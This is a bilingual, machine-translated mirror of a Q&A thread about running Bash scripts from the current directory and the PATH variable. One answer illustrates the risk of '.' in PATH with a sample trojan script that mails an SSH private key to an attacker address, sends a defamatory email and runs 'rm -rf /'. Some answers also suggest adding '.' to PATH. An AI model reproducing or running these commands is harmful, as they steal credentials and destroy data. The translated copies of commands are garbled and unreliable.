简体   繁体   English

为什么我必须使用绝对路径来执行Bash脚本?

[英]Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest . 我的桌面上有一个名为highest的Bash脚本。

If I run: 如果我跑:

cd ~/Desktop
highest

I get: Command not found 我明白了: 找不到命令

But if I run: 但如果我跑:

~/Desktop/highest

It executes just fine. 它执行得很好。 But why do I still need to use the absolute path when my command line is in the correct directory? 但是,当命令行在正确的目录中时,为什么还需要使用绝对路径?

I am guessing this has something to do with the $PATH variable. 我猜这与$PATH变量有关。 Like I need to add something like ./ to it. 就像我需要添加像./这样的东西。 If so, how do I add that? 如果是这样,我该如何添加? I am not used to Linux yet and get very confused when this happens. 我还不习惯Linux,当发生这种情况时会感到非常困惑。

I agree with @Dennis's statement. 我同意@Dennis的陈述。 Don't add '.' 不要添加'。' to your PATH. 到你的路径。 It's a security risk, because it would make it more possible for a cracker to override your commands. 这是一个安全风险,因为它会使破解者更有可能覆盖您的命令。 For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html . 有关详细说明,请参阅http://www.linux.org/docs/ldp/howto/Path-12.html

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. 例如,假装我是一个破解者,我创建了像/ tmp / ls这样的特洛​​伊文件,就像这样。 Pretend that this was on a shared system at a university or something. 假装这是在大学的共享系统或什么的。

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

What would happen if you were in the /tmp directory and executed the 'ls' command? 如果您在/ tmp目录中并执行'ls'命令会发生什么? If PATH included . 如果包含PATH . , then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls. ,那么当你的真实意图是在/ bin / ls使用默认的'ls'时,你会执行/ tmp / ls。

Instead, if you want to execute your own binaries, either call the script explicitly (eg ./highest ) or create your own bin directory, which is what most users do. 相反,如果要执行自己的二进制文件,请显式调用脚本(例如./highest )或创建自己的bin目录,这是大多数用户所做的。

  1. Add your own ~/bin directory, and place your own binaries in there. 添加自己的〜/ bin目录,并将自己的二进制文件放在那里。

     mkdir ~/bin vi ~/bin/highest 
  2. Then, modify your PATH to use your local binary. 然后,修改PATH以使用本地二进制文件。 Modify the PATH statement in your .bashrc to look like this. 修改.bashrc中的PATH语句,使其如下所示。

    export PATH=$PATH:~/bin export PATH = $ PATH:〜/ bin

  3. To verify that highest is your path, do this: 要验证highest路径,请执行以下操作:

     bash$ which highest /Users/stefanl/bin/highest 

Yes, adding ./ is ok, so running cd ~/Desktop; ./highest 是的,添加./就可以了,所以运行cd ~/Desktop; ./highest cd ~/Desktop; ./highest will work. cd ~/Desktop; ./highest将工作。 The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest , and since there's nothing there called that, it fails. 问题是,正如你所说的:运行highest由自身原因造成的Linux在你看$PATH的取名highest ,而且由于没有什么有称那,它失败。 Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable. 在正确的目录中运行./highest完全解决了问题,因为您指定了可执行文件的路径。

The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. 您可以做的最好的事情是,当您想要运行目录中的命令时,习惯使用./highest,除非您真的想将它添加到您的路径中。 Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash: 然后你应该将它添加到主目录中的.profile文件中的路径中(如果不存在则创建它),这样每次启动bash时它都会被加载到你的路径中:

export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH" export PATH =“/ usr / local / bin:/ usr / local / sbin:。:$ PATH”

Don't change PATH , simply move or symlink the script to some standard location, eg 不要更改PATH ,只需将脚本移动或符号链接到某个标准位置,例如

mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest

If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name. 如果你的路径中有~/bin (如果你使用Ubuntu的默认shell init脚本就是AFAIR),那么你可以从任何地方按名称调用脚本。

You would need to add the local directory to your path: 您需要将本地目录添加到路径:

PATH=$PATH:.
export PATH

This can be done in your .profile or .bash_profile to always set this up whenever you login. 这可以在.profile或.bash_profile中完成,以便在您登录时始终进行设置。

Also, as a matter of course, you can run the command with the current directory marker: 此外,当然,您可以使用当前目录标记运行该命令:

./highest

as well. 同样。

Of course there are security implications as noted below by many MANY users, which I should have mentioned. 当然,如下所述,许多用户都会提到安全问题,我应该提到这些问题。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM